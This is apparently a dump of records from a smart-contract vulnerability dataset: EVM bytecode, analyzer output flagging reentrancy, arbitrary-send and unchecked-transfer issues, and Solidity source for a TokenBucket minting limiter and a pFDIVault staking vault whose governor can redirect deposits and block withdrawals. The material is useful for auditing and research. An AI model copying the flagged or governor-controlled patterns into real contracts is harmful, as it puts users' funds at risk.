86836113b4565b610fcd85610fa14789610907565b600f546001600160a01b0316610fe5565b5050505050565b6011805460ff60a81b1916600160a81b1790556010546110109030906001600160a01b0316856109cf565b60105460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0383811660848301524260a48301529091169063f305d71990849060c4016060604051808303818588803b15801561107957600080fd5b505af115801561108d573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906110b29190611650565b50506011805460ff60a81b1916905550505050565b600081836110e85760405162461bcd60e51b81526004016105b991906116c1565b506000610f0784866117d4565b60008061110283856117bc565b9050838110156109865760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105b9565b600080611160836113f6565b6001600160a01b038716600090815260026020526040902054919350915061118890846113b4565b6001600160a01b0380871660009081526002602052604080822093909355908616815220546111b790836110f5565b6001600160a01b0385166000908152600260205260408082209290925530815220546111e390826110f5565b3060009081526002602090815260409182902092909255518381526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b6011805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112885761128861185d565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156112dc57600080fd5b505afa1580156112f0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611314919061146d565b816001815181106113275761132761185d565b6001600160a01b03928316602091820292909201015260105461134d91309116846109cf565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac9479061138690859060009086903090429060040161174b565b600060405180830381600087803b1580156113a057600080fd5b505af11580156110b2573d6000803e3d6000fd5b600061098683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ed6565b60008060006114166103e8610fa16008548761090790919063ffffffff16565b9050600061142485836113b4565b959194509092505050565b803561143a81611889565b919050565b803560ff8116811461143a57600080fd5b60006020828403121561146257600080fd5b813561098681611889565b60006020828403121561147f57600080fd5b815161098681611889565b6000806040838503121561149d57600080fd5b82356114a881611889565b915060208301356114b881611889565b809150509250929050565b6000806000606084860312156114d857600080fd5b83356114e381611889565b925060208401356114f381611889565b929592945050506040919091013590565b6000806040838503121561151757600080fd5b823561152281611889565b946020939093013593505050565b6000602080838503121561154357600080fd5b823567ffffffffffffffff8082111561155b57600080fd5b818501915085601f83011261156f57600080fd5b81358181111561158157611581611873565b8060051b604051601f19603f830116810181811085821117156115a6576115a6611873565b604052828152858101935084860182860187018a10156115c557600080fd5b600095505b838610156115ef576115db8161142f565b8552600195909501949386019386016115ca565b5098975050505050505050565b60006020828403121561160e57600080fd5b8151801515811461098657600080fd5b60006020828403121561163057600080fd5b5035919050565b60006020828403121561164957600080fd5b5051919050565b60008060006060848603121561166557600080fd5b8351925060208401519150604084015190509250925092565b60008060006060848603121561169357600080fd5b61169c8461143f565b92506116aa6020850161143f565b91506116b86040850161143f565b90509250925092565b600060208083528351808285015260005b818110156116ee578581018301518582016040015282016116d2565b81811115611700576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561179b5784516001600160a01b031683529383019391830191600101611776565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156117cf576117cf611847565b500190565b6000826117f157634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561181057611810611847565b500290565b60008282101561182757611827611847565b500390565b600060001982141561184057611840611847565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461063257600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209df7cfc3f81446380ad8a46f7f53a06dd45f847291ceb0d16ecdec5c489d5e6964736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
8,804
0x323ec3eea0c301cca228bb5e92a3ccf6e6dae669
pragma solidity ^0.4.24; /// @title Role based access control mixin for MUST Platform /// @author Aler Denisov <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="7f1e131a0d51051e120f161313103f18121e1613511c1012">[email&#160;protected]</a>> /// @dev Ignore DRY approach to achieve readability contract RBACMixin { /// @notice Constant string message to throw on lack of access string constant FORBIDDEN = "Haven&#39;t enough right to access"; /// @notice Public map of owners mapping (address => bool) public owners; /// @notice Public map of minters mapping (address => bool) public minters; /// @notice The event indicates the addition of a new owner /// @param who is address of added owner event AddOwner(address indexed who); /// @notice The event indicates the deletion of an owner /// @param who is address of deleted owner event DeleteOwner(address indexed who); /// @notice The event indicates the addition of a new minter /// @param who is address of added minter event AddMinter(address indexed who); /// @notice The event indicates the deletion of a minter /// @param who is address of deleted minter event DeleteMinter(address indexed who); constructor () public { _setOwner(msg.sender, true); } /// @notice The functional modifier rejects the interaction of senders who are not owners modifier onlyOwner() { require(isOwner(msg.sender), FORBIDDEN); _; } /// @notice Functional modifier for rejecting the interaction of senders that are not minters modifier onlyMinter() { require(isMinter(msg.sender), FORBIDDEN); _; } /// @notice Look up for the owner role on providen address /// @param _who is address to look up /// @return A boolean of owner role function isOwner(address _who) public view returns (bool) { return owners[_who]; } /// @notice Look up for the minter role on providen address /// @param _who is address to look up /// @return A boolean of minter role function isMinter(address _who) public view returns (bool) { return minters[_who]; } /// @notice Adds the owner role to provided address /// @dev Requires owner role to interact /// @param _who is address to add role /// @return A boolean that indicates if the operation was successful. function addOwner(address _who) public onlyOwner returns (bool) { _setOwner(_who, true); } /// @notice Deletes the owner role to provided address /// @dev Requires owner role to interact /// @param _who is address to delete role /// @return A boolean that indicates if the operation was successful. function deleteOwner(address _who) public onlyOwner returns (bool) { _setOwner(_who, false); } /// @notice Adds the minter role to provided address /// @dev Requires owner role to interact /// @param _who is address to add role /// @return A boolean that indicates if the operation was successful. function addMinter(address _who) public onlyOwner returns (bool) { _setMinter(_who, true); } /// @notice Deletes the minter role to provided address /// @dev Requires owner role to interact /// @param _who is address to delete role /// @return A boolean that indicates if the operation was successful. function deleteMinter(address _who) public onlyOwner returns (bool) { _setMinter(_who, false); } /// @notice Changes the owner role to provided address /// @param _who is address to change role /// @param _flag is next role status after success /// @return A boolean that indicates if the operation was successful. function _setOwner(address _who, bool _flag) private returns (bool) { require(owners[_who] != _flag); owners[_who] = _flag; if (_flag) { emit AddOwner(_who); } else { emit DeleteOwner(_who); } return true; } /// @notice Changes the minter role to provided address /// @param _who is address to change role /// @param _flag is next role status after success /// @return A boolean that indicates if the operation was successful. function _setMinter(address _who, bool _flag) private returns (bool) { require(minters[_who] != _flag); minters[_who] = _flag; if (_flag) { emit AddMinter(_who); } else { emit DeleteMinter(_who); } return true; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting &#39;a&#39; not being zero, but the // benefit is lost if &#39;b&#39; is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } interface IMintableToken { function mint(address _to, uint256 _amount) external returns (bool); } /// @title Very simplified implementation of Token Bucket Algorithm to secure token minting /// @author Aler Denisov <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="d6b7bab3a4f8acb7bba6bfbabab996b1bbb7bfbaf8b5b9bb">[email&#160;protected]</a>> /// @notice Works with tokens implemented Mintable interface /// @dev Transfer ownership/minting role to contract and execute mint over TokenBucket proxy to secure contract TokenBucket is RBACMixin, IMintableToken { using SafeMath for uint; /// @notice Limit maximum amount of available for minting tokens when bucket is full /// @dev Should be enough to mint tokens with proper speed but less enough to prevent overminting in case of losing pkey uint256 public size; /// @notice Bucket refill rate /// @dev Tokens per second (based on block.timestamp). Amount without decimals (in smallest part of token) uint256 public rate; /// @notice Stored time of latest minting /// @dev Each successful call of minting function will update field with call timestamp uint256 public lastMintTime; /// @notice Left tokens in bucket on time of latest minting uint256 public leftOnLastMint; /// @notice Reference of Mintable token /// @dev Setup in contructor phase and never change in future IMintableToken public token; /// @notice Token Bucket leak event fires on each minting /// @param to is address of target tokens holder /// @param left is amount of tokens available in bucket after leak event Leak(address indexed to, uint256 left); /// @param _token is address of Mintable token /// @param _size initial size of token bucket /// @param _rate initial refill rate (tokens/sec) constructor (address _token, uint256 _size, uint256 _rate) public { token = IMintableToken(_token); size = _size; rate = _rate; leftOnLastMint = _size; } /// @notice Change size of bucket /// @dev Require owner role to call /// @param _size is new size of bucket /// @return A boolean that indicates if the operation was successful. function setSize(uint256 _size) public onlyOwner returns (bool) { size = _size; return true; } /// @notice Change refill rate of bucket /// @dev Require owner role to call /// @param _rate is new refill rate of bucket /// @return A boolean that indicates if the operation was successful. function setRate(uint256 _rate) public onlyOwner returns (bool) { rate = _rate; return true; } /// @notice Change size and refill rate of bucket /// @dev Require owner role to call /// @param _size is new size of bucket /// @param _rate is new refill rate of bucket /// @return A boolean that indicates if the operation was successful. function setSizeAndRate(uint256 _size, uint256 _rate) public onlyOwner returns (bool) { return setSize(_size) && setRate(_rate); } /// @notice Function to mint tokens /// @param _to The address that will receive the minted tokens. /// @param _amount The amount of tokens to mint. /// @return A boolean that indicates if the operation was successful. function mint(address _to, uint256 _amount) public onlyMinter returns (bool) { uint256 available = availableTokens(); require(_amount <= available); leftOnLastMint = available.sub(_amount); lastMintTime = now; // solium-disable-line security/no-block-members require(token.mint(_to, _amount)); return true; } /// @notice Function to calculate and get available in bucket tokens /// @return An amount of available tokens in bucket function availableTokens() public view returns (uint) { // solium-disable-next-line security/no-block-members uint256 timeAfterMint = now.sub(lastMintTime); uint256 refillAmount = rate.mul(timeAfterMint).add(leftOnLastMint); return size < refillAmount ? size : refillAmount; } }
0x6080604052600436106100fb5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663022914a78114610100578063170ab405146101355780632aff49d71461014d5780632c4e722e146101685780632f54bf6e1461018f57806334fcf437146101b057806336b40bb6146101c857806340c10f19146101dd57806369bb4dc2146102015780637065cb4814610216578063949d225d14610237578063983b2d561461024c5780639d4635201461026d578063aa271e1a14610282578063cd5c4c70146102a3578063d82f94a3146102c4578063f46eccc4146102e5578063fc0c546a14610306575b600080fd5b34801561010c57600080fd5b50610121600160a060020a0360043516610337565b604080519115158252519081900360200190f35b34801561014157600080fd5b5061012160043561034c565b34801561015957600080fd5b50610121600435602435610411565b34801561017457600080fd5b5061017d6104b3565b60408051918252519081900360200190f35b34801561019b57600080fd5b50610121600160a060020a03600435166104b9565b3480156101bc57600080fd5b506101216004356104d7565b3480156101d457600080fd5b5061017d610560565b3480156101e957600080fd5b50610121600160a060020a0360043516602435610566565b34801561020d57600080fd5b5061017d6106ca565b34801561022257600080fd5b50610121600160a060020a0360043516610729565b34801561024357600080fd5b5061017d6107ba565b34801561025857600080fd5b50610121600160a060020a03600435166107c0565b34801561027957600080fd5b5061017d61084b565b34801561028e57600080fd5b50610121600160a060020a0360043516610851565b3480156102af57600080fd5b50610121600160a060020a036004351661086f565b3480156102d057600080fd5b50610121600160a060020a03600435166108fa565b3480156102f157600080fd5b50610121600160a060020a0360043516610985565b34801561031257600080fd5b5061031b61099a565b60408051600160a060020a039092168252519081900360200190f35b60006020819052908152604090205460ff1681565b6000610357336104b9565b60408051808201909152601e8152600080516020610b9183398151915260208201529015156104075760405160e560020a62461bcd0281526004018080602001828103825283818151815260200191508051906020019080838360005b838110156103cc5781810151838201526020016103b4565b50505050905090810190601f1680156103f95780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5050600255600190565b600061041c336104b9565b60408051808201909152601e8152600080516020610b9183398151915260208201529015156104905760405160e560020a62461bcd028152600401808060200182810382528381815181526020019150805190602001908083836000838110156103cc5781810151838201526020016103b4565b5061049a8361034c565b80156104aa57506104aa826104d7565b90505b92915050565b60035481565b600160a060020a031660009081526020819052604090205460ff1690565b60006104e2336104b9565b60408051808201909152601e8152600080516020610b9183398151915260208201529015156105565760405160e560020a62461bcd028152600401808060200182810382528381815181526020019150805190602001908083836000838110156103cc5781810151838201526020016103b4565b5050600355600190565b60055481565b60008061057233610851565b60408051808201909152601e8152600080516020610b9183398151915260208201529015156105e65760405160e560020a62461bcd028152600401808060200182810382528381815181526020019150805190602001908083836000838110156103cc5781810151838201526020016103b4565b506105ef6106ca565b9050808311156105fe57600080fd5b61060e818463ffffffff6109a916565b600555426004908155600654604080517f40c10f19000000000000000000000000000000000000000000000000000000008152600160a060020a038881169482019490945260248101879052905192909116916340c10f19916044808201926020929091908290030181600087803b15801561068957600080fd5b505af115801561069d573d6000803e3d6000fd5b505050506040513d60208110156106b357600080fd5b505115156106c057600080fd5b5060019392505050565b60008060006106e4600454426109a990919063ffffffff16565b915061070d600554610701846003546109bb90919063ffffffff16565b9063ffffffff6109e416565b9050806002541061071e5780610722565b6002545b9250505090565b6000610734336104b9565b60408051808201909152601e8152600080516020610b9183398151915260208201529015156107a85760405160e560020a62461bcd028152600401808060200182810382528381815181526020019150805190602001908083836000838110156103cc5781810151838201526020016103b4565b506107b48260016109f1565b50919050565b60025481565b60006107cb336104b9565b60408051808201909152601e8152600080516020610b91833981519152602082015290151561083f5760405160e560020a62461bcd028152600401808060200182810382528381815181526020019150805190602001908083836000838110156103cc5781810151838201526020016103b4565b506107b4826001610ac1565b60045481565b600160a060020a031660009081526001602052604090205460ff1690565b600061087a336104b9565b60408051808201909152601e8152600080516020610b9183398151915260208201529015156108ee5760405160e560020a62461bcd028152600401808060200182810382528381815181526020019150805190602001908083836000838110156103cc5781810151838201526020016103b4565b506107b48260006109f1565b6000610905336104b9565b60408051808201909152601e8152600080516020610b9183398151915260208201529015156109795760405160e560020a62461bcd028152600401808060200182810382528381815181526020019150805190602001908083836000838110156103cc5781810151838201526020016103b4565b506107b4826000610ac1565b60016020526000908152604090205460ff1681565b600654600160a060020a031681565b6000828211156109b557fe5b50900390565b60008215156109cc575060006104ad565b508181028183828115156109dc57fe5b04146104ad57fe5b818101828110156104ad57fe5b600160a060020a03821660009081526020819052604081205460ff1615158215151415610a1d57600080fd5b600160a060020a0383166000908152602081905260409020805460ff19168315801591909117909155610a8357604051600160a060020a038416907fac1e9ef41b54c676ccf449d83ae6f2624bcdce8f5b93a6b48ce95874c332693d90600090a2610ab8565b604051600160a060020a038416907fbaefbfc44c4c937d4905d8a50bef95643f586e33d78f3d1998a10b992b68bdcc90600090a25b50600192915050565b600160a060020a03821660009081526001602052604081205460ff1615158215151415610aed57600080fd5b600160a060020a0383166000908152600160205260409020805460ff19168315801591909117909155610b5357604051600160a060020a038416907f16baa937b08d58713325f93ac58b8a9369a4359bbefb4957d6d9b402735722ab90600090a2610ab8565b604051600160a060020a038416907f4a59e6ea1f075b8fb09f3b05c8b3e9c68b31683a887a4d692078957c58a12be390600090a2506001929150505600486176656e277420656e6f75676820726967687420746f206163636573730000a165627a7a72305820f8dac64080c015257d3fc3f8f266bbffa1d77200402af9acfd7f65fd5dda6bb70029
{"success": true, "error": null, "results": {}}
8,805
0xfa149c8a9230a506fd09b63fe66f1f055e80e89b
// SPDX-License-Identifier: MIT pragma solidity 0.7.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call{ value : amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract pFDIVault { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; struct RewardDivide { uint256 amount; uint256 startTime; uint256 checkTime; } string public _vaultName; IERC20 public token0; IERC20 public token1; address public feeAddress; address public vaultAddress; uint32 public feePermill = 5; uint256 public delayDuration = 7 days; bool public withdrawable; address public gov; uint256 public totalDeposit; mapping(address => uint256) public depositBalances; mapping(address => uint256) public rewardBalances; address[] public addressIndices; mapping(uint256 => RewardDivide) public _rewards; uint256 public _rewardCount; event SentReward(uint256 amount); event Deposited(address indexed user, uint256 amount); event ClaimedReward(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); constructor (address _token0, address _token1, address _feeAddress, address _vaultAddress, string memory name) { token0 = IERC20(_token0); token1 = IERC20(_token1); feeAddress = _feeAddress; vaultAddress = _vaultAddress; _vaultName = name; gov = msg.sender; } modifier onlyGov() { require(msg.sender == gov, "!governance"); _; } function setGovernance(address _gov) external onlyGov { gov = _gov; } function setToken0(address _token) external onlyGov { token0 = IERC20(_token); } function setToken1(address _token) external onlyGov { token1 = IERC20(_token); } function setFeeAddress(address _feeAddress) external onlyGov { feeAddress = _feeAddress; } function setVaultAddress(address _vaultAddress) external onlyGov { vaultAddress = _vaultAddress; } function setFeePermill(uint32 _feePermill) external onlyGov { feePermill = _feePermill; } function setDelayDuration(uint32 _delayDuration) external onlyGov { delayDuration = _delayDuration; } function setWithdrawable(bool _withdrawable) external onlyGov { withdrawable = _withdrawable; } function setVaultName(string memory name) external onlyGov { _vaultName = name; } function balance0() public view returns (uint256) { return token0.balanceOf(address(this)); } function balance1() public view returns (uint256) { return token1.balanceOf(address(this)); } function rewardUpdate() public { if (_rewardCount > 0) { uint256 i; uint256 j; for (i = _rewardCount - 1; _rewards[i].startTime < block.timestamp; --i) { uint256 duration; if (block.timestamp.sub(_rewards[i].startTime) > delayDuration) { duration = _rewards[i].startTime.add(delayDuration).sub(_rewards[i].checkTime); _rewards[i].startTime = uint256(-1); } else { duration = block.timestamp.sub(_rewards[i].checkTime); } _rewards[i].checkTime = block.timestamp; uint256 timedAmount = _rewards[i].amount.mul(duration).div(delayDuration); uint256 addAmount; for (j = 0; j < addressIndices.length; j++) { addAmount = timedAmount.mul(depositBalances[addressIndices[j]]).div(totalDeposit); rewardBalances[addressIndices[j]] = rewardBalances[addressIndices[j]].add(addAmount); } if (i == 0) { break; } } } } function depositAll() external { deposit(token0.balanceOf(msg.sender)); } function deposit(uint256 _amount) public { require(_amount > 0, "can't deposit 0"); rewardUpdate(); uint256 arrayLength = addressIndices.length; bool found = false; for (uint256 i = 0; i < arrayLength; i++) { if (addressIndices[i]==msg.sender){ found=true; break; } } if(!found){ addressIndices.push(msg.sender); } uint256 feeAmount = _amount.mul(feePermill).div(1000); uint256 realAmount = _amount.sub(feeAmount); token0.safeTransferFrom(msg.sender, feeAddress, feeAmount); token0.safeTransferFrom(msg.sender, vaultAddress, realAmount); totalDeposit = totalDeposit.add(realAmount); depositBalances[msg.sender] = depositBalances[msg.sender].add(realAmount); emit Deposited(msg.sender, realAmount); } function sendReward(uint256 _amount) external { require(_amount > 0, "can't reward 0"); require(totalDeposit > 0, "totalDeposit must bigger than 0"); token1.safeTransferFrom(msg.sender, address(this), _amount); rewardUpdate(); _rewards[_rewardCount].amount = _amount; _rewards[_rewardCount].startTime = block.timestamp; _rewards[_rewardCount].checkTime = block.timestamp; _rewardCount++; emit SentReward(_amount); } function claimRewardAll() external { claimReward(uint256(-1)); } function claimReward(uint256 _amount) public { require(_rewardCount > 0, "no reward amount"); rewardUpdate(); if (_amount > rewardBalances[msg.sender]) { _amount = rewardBalances[msg.sender]; } require(_amount > 0, "can't claim reward 0"); token1.safeTransfer(msg.sender, _amount); rewardBalances[msg.sender] = rewardBalances[msg.sender].sub(_amount); emit ClaimedReward(msg.sender, _amount); } function withdrawAll() external { withdraw(uint256(-1)); } function withdraw(uint256 _amount) public { require(token0.balanceOf(address(this)) > 0, "no withdraw amount"); require(withdrawable, "not withdrawable"); rewardUpdate(); if (_amount > depositBalances[msg.sender]) { _amount = depositBalances[msg.sender]; } require(_amount > 0, "can't withdraw 0"); token0.safeTransfer(msg.sender, _amount); depositBalances[msg.sender] = depositBalances[msg.sender].sub(_amount); totalDeposit = totalDeposit.sub(_amount); emit Withdrawn(msg.sender, _amount); } function availableRewardAmount(address owner) public view returns(uint256) { uint256 i; uint256 availableReward = rewardBalances[owner]; if (_rewardCount > 0) { for (i = _rewardCount - 1; _rewards[i].startTime < block.timestamp; --i) { uint256 duration; if (block.timestamp.sub(_rewards[i].startTime) > delayDuration) { duration = _rewards[i].startTime.add(delayDuration).sub(_rewards[i].checkTime); } else { duration = block.timestamp.sub(_rewards[i].checkTime); } uint256 timedAmount = _rewards[i].amount.mul(duration).div(delayDuration); uint256 addAmount = timedAmount.mul(depositBalances[owner]).div(totalDeposit); availableReward = availableReward.add(addAmount); if (i == 0) { break; } } } return availableReward; } }
0x608060405234801561001057600080fd5b50600436106102115760003560e01c8063a7df8c5711610125578063c78b6dea116100ad578063de5f62681161007c578063de5f6268146105da578063e2aa2a85146105e2578063e835dfbd146105ea578063f6153ccd146105f2578063fab980b7146105fa57610211565b8063c78b6dea14610573578063cbeb7ef214610590578063d21220a7146105af578063d86e1ef7146105b757610211565b8063b6b55f25116100f4578063b6b55f25146104df578063b79ea884146104fc578063b8f7928814610522578063c45c4f5814610545578063c6e426bd1461054d57610211565b8063a7df8c5714610477578063ab033ea914610494578063ae169a50146104ba578063b5984a36146104d757610211565b806344264d3d116101a857806385535cc51161017757806385535cc5146103a45780638705fcd4146103ca5780638d96bdbe146103f05780638f1e94051461041657806393c8dc6d1461045157610211565b806344264d3d146103575780635018830114610378578063637830ca14610394578063853828b61461039c57610211565b80631eb903cf116101e45780631eb903cf146103045780632e1a7d4d1461032a5780634127535814610347578063430bf08a1461034f57610211565b80630dfe16811461021657806311cc66b21461023a57806312d43a51146102e25780631c69ad00146102ea575b600080fd5b61021e610677565b604080516001600160a01b039092168252519081900360200190f35b6102e06004803603602081101561025057600080fd5b81019060208101813564010000000081111561026b57600080fd5b82018360208201111561027d57600080fd5b8035906020019184600183028401116401000000008311171561029f57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610686945050505050565b005b61021e6106ef565b6102f2610703565b60408051918252519081900360200190f35b6102f26004803603602081101561031a57600080fd5b50356001600160a01b031661077f565b6102e06004803603602081101561034057600080fd5b5035610791565b61021e61099c565b61021e6109ab565b61035f6109ba565b6040805163ffffffff9092168252519081900360200190f35b6103806109cd565b604080519115158252519081900360200190f35b6102e06109d6565b6102e06109e3565b6102e0600480360360208110156103ba57600080fd5b50356001600160a01b03166109ee565b6102e0600480360360208110156103e057600080fd5b50356001600160a01b0316610a62565b6102f26004803603602081101561040657600080fd5b50356001600160a01b0316610ad6565b6104336004803603602081101561042c57600080fd5b5035610c25565b60408051938452602084019290925282820152519081900360600190f35b6102f26004803603602081101561046757600080fd5b50356001600160a01b0316610c46565b61021e6004803603602081101561048d57600080fd5b5035610c58565b6102e0600480360360208110156104aa57600080fd5b50356001600160a01b0316610c7f565b6102e0600480360360208110156104d057600080fd5b5035610cf9565b6102f2610e3d565b6102e0600480360360208110156104f557600080fd5b5035610e43565b6102e06004803603602081101561051257600080fd5b50356001600160a01b0316611020565b6102e06004803603602081101561053857600080fd5b503563ffffffff16611094565b6102f261110c565b6102e06004803603602081101561056357600080fd5b50356001600160a01b0316611157565b6102e06004803603602081101561058957600080fd5b50356111cb565b6102e0600480360360208110156105a657600080fd5b503515156112fc565b61021e611361565b6102e0600480360360208110156105cd57600080fd5b503563ffffffff16611370565b6102e06113cd565b6102f261144a565b6102e0611450565b6102f261162c565b610602611632565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561063c578181015183820152602001610624565b50505050905090810190601f1680156106695780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6001546001600160a01b031681565b60065461010090046001600160a01b031633146106d8576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b80516106eb906000906020840190611ba7565b5050565b60065461010090046001600160a01b031681565b600154604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561074e57600080fd5b505afa158015610762573d6000803e3d6000fd5b505050506040513d602081101561077857600080fd5b5051905090565b60086020526000908152604090205481565b600154604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156107dc57600080fd5b505afa1580156107f0573d6000803e3d6000fd5b505050506040513d602081101561080657600080fd5b50511161084f576040805162461bcd60e51b81526020600482015260126024820152711b9bc81dda5d1a191c985dc8185b5bdd5b9d60721b604482015290519081900360640190fd5b60065460ff16610899576040805162461bcd60e51b815260206004820152601060248201526f6e6f7420776974686472617761626c6560801b604482015290519081900360640190fd5b6108a1611450565b336000908152600860205260409020548111156108ca5750336000908152600860205260409020545b60008111610912576040805162461bcd60e51b815260206004820152601060248201526f063616e277420776974686472617720360841b604482015290519081900360640190fd5b600154610929906001600160a01b031633836116c0565b336000908152600860205260409020546109439082611717565b336000908152600860205260409020556007546109609082611717565b60075560408051828152905133917f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5919081900360200190a250565b6003546001600160a01b031681565b6004546001600160a01b031681565b600454600160a01b900463ffffffff1681565b60065460ff1681565b6109e1600019610cf9565b565b6109e1600019610791565b60065461010090046001600160a01b03163314610a40576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600480546001600160a01b0319166001600160a01b0392909216919091179055565b60065461010090046001600160a01b03163314610ab4576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600380546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038116600090815260096020526040812054600c5482919015610c1e576001600c540391505b6000828152600b6020526040902060010154421115610c1e576005546000838152600b6020526040812060010154909190610b3f904290611717565b1115610b7c576000838152600b602052604090206002810154600554600190920154610b7592610b6f9190611762565b9061171756